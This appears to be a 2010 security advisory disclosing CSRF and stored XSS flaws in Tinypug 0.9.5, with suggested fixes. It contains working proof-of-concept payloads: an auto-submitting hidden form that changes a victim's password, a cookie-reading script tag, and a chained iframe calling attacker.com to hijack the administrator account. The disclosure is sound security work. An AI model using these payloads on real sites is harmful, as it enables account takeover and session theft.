adminbugreport.ir
Date: Tue Feb 02 2010 - 04:25:02 CST

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##########################www.BugReport.ir########################################
#
# AmnPardaz Security Research Team
#
# Title: Tinypug Multiple Vulnerabilities
# Vendor: http://platformassociates.com/
# (project hosted at http://code.google.com/p/tinypug/)
# Vulnerable Version: 0.9.5 (and prior versions)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################################

####################
- Description:
####################

Tinypug is a system for building portals that enable innovation
communities and customer inquiry.
The idea is to go beyond one-off statistical surveys (which tend to
only verify an existing paradigm)
to foster real collaboration, scalable two-way communication, and
anecdotal feedback from users/customers.

####################
- Vulnerability:
####################

+--> CSRF (Cross-Site Request Forgery)
        The password changing page is vulnerable to CSRF attack. This vulnerability
        can be used to change the password of the victim. For details of this
        process see "Exploits/PoCs" section.

+--> Stored XSS Vulnerability
        The comment page is vulnerable to Stored XSS attack. But comments
will be published
        only after administrator confirmation. However this XSS vulnerablity can be
        used in conjunction with the more serious security whole (CSRF) in
order to change
        administrator's password.

####################
- Exploits/PoCs:
####################

+--> Exploiting The CSRF Vulnerability:
        As any CSRF attack, you need victim to be logged in at target site,
namely "victim.com",
        and visits the attacker's site, namely "attacker.com".
        Then attacker can change password of the victim (for example to
"the-new-password")
        by presenting following code at attacker.com site:
        <div>
                <iframe id="if1" name="if1" style="display:none">
                        This frame is invisible!!
                </iframe>
                <form action="http://victim.com/tinypug-0.9.5/profiles/change_password"
                                method="post" id="the_form" style="display:none" target="if1">
                        <input type="password" name="password" value="the-new-password" />
                        <input type="password" name="password2" value="the-new-password" />
                        <input type="submit" value="Change Password" />
                </form>
                <script type="text/javascript">
                //<![CDATA[
                        var $form = document.getElementById ('the_form');
                        $form.submit ();
                //]]>
                </script>
        </div>

+--> Exploiting The Stored XSS Vulnerability:
        Simply go to the comment page of a post
        (for example at
"http://victim.com/tinypug-0.9.5/stories/view/welcome#comments")
        and embed any desired XSS vector like <script>alert(document.cookie)</script>
        But be aware that comments will be reviewed by administrators before
publishing.

+--> Changing Administrator Password by combining above Vulnerabilities:
        Using the Stored XSS attack, make administrator to see following code:

        My comment !!! <iframe id="f2" name="f2"
src="http://attacker.com/csrf.php" style="display:none" />

        Then whether he/she approve your comment or not :) his/her password
will be changed
        to "the-new-password" via CSRF attack by visiting implicitly
        the "http://attacker.com/csrf.php" URI.

####################
- Original Advisory:
####################

http://www.bugreport.ir/index_67.htm

####################
- Solution:
####################

For CSRF vulnerability password changing page must be changed in order
to ask for the old password, too.

For XSS vulnerability you could include all of the comments in the
approval page by <xmp> tag.

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

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